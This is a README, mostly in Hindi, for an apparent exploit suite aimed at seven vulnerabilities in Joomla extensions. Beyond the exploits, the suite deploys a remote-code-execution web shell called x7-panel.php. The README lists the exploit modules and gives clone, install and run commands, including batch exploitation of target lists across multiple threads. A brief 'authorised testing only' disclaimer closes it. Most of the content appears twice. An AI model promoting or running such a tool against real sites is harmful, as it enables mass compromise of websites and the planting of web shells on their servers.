winrarzipsexploit/cve-2026-87930Joomla मल्टी-CVE RCE सूट जिसमें Balbooa Forms, Page Builder CK, SP Page Builder, JCE, iCagenda, Helix3, और SP LMS के लिए सात exploit मॉड्यूल हैं, साथ ही x7-panel.php payload deployment भी।
Joomla Multi-CVE Suite — 7 भेद्यता मॉड्यूल + x7-panel.php डिप्लॉय
| CVE | एक्सटेंशन |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
सूट डिफ़ॉल्ट रूप से ऑटो चेन चलाता है; एकल मॉड्यूल के लिए --cve का उपयोग करें।
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| फ़ाइल | भूमिका |
|---|---|
winrarzips_brand.py | CMD बैनर (by winrarzips) |
joomla_exploits.py | 7-CVE एक्सप्लॉइट मॉड्यूल |
CVE-2026-Joomla-Suite.py | बैच + एकल-लक्ष्य CLI |
payloads/x7-panel.php | RCE पैनल पेलोड |
requirements.txt | निर्भरताएँ |
❌ लक्ष्य सूचियाँ, स्कैन परिणाम और लाइव पैनल URL शामिल नहीं हैं।
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Joomla < 5.2.2 लक्ष्यों के लिए, सर्वर पथ प्रदान करें:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php
Joomla Multi-CVE Suite — 7 भेद्यता मॉड्यूल + x7-panel.php डिप्लॉय
| CVE | एक्सटेंशन |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
सूट डिफ़ॉल्ट रूप से ऑटो चेन चलाता है; एकल मॉड्यूल के लिए --cve का उपयोग करें।
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| फ़ाइल | भूमिका |
|---|---|
winrarzips_brand.py | CMD बैनर (by winrarzips) |
joomla_exploits.py | 7-CVE एक्सप्लॉइट मॉड्यूल |
CVE-2026-Joomla-Suite.py | बैच + एकल-लक्ष्य CLI |
payloads/x7-panel.php | RCE पैनल पेलोड |
requirements.txt | निर्भरताएँ |
❌ लक्ष्य सूचियाँ, स्कैन परिणाम और लाइव पैनल URL शामिल नहीं हैं।
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Joomla < 5.2.2 लक्ष्यों के लिए, सर्वर पथ प्रदान करें:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php
⚠️ केवल अधिकृत परीक्षण / लैब उपयोग · Yalnızca yetkili test
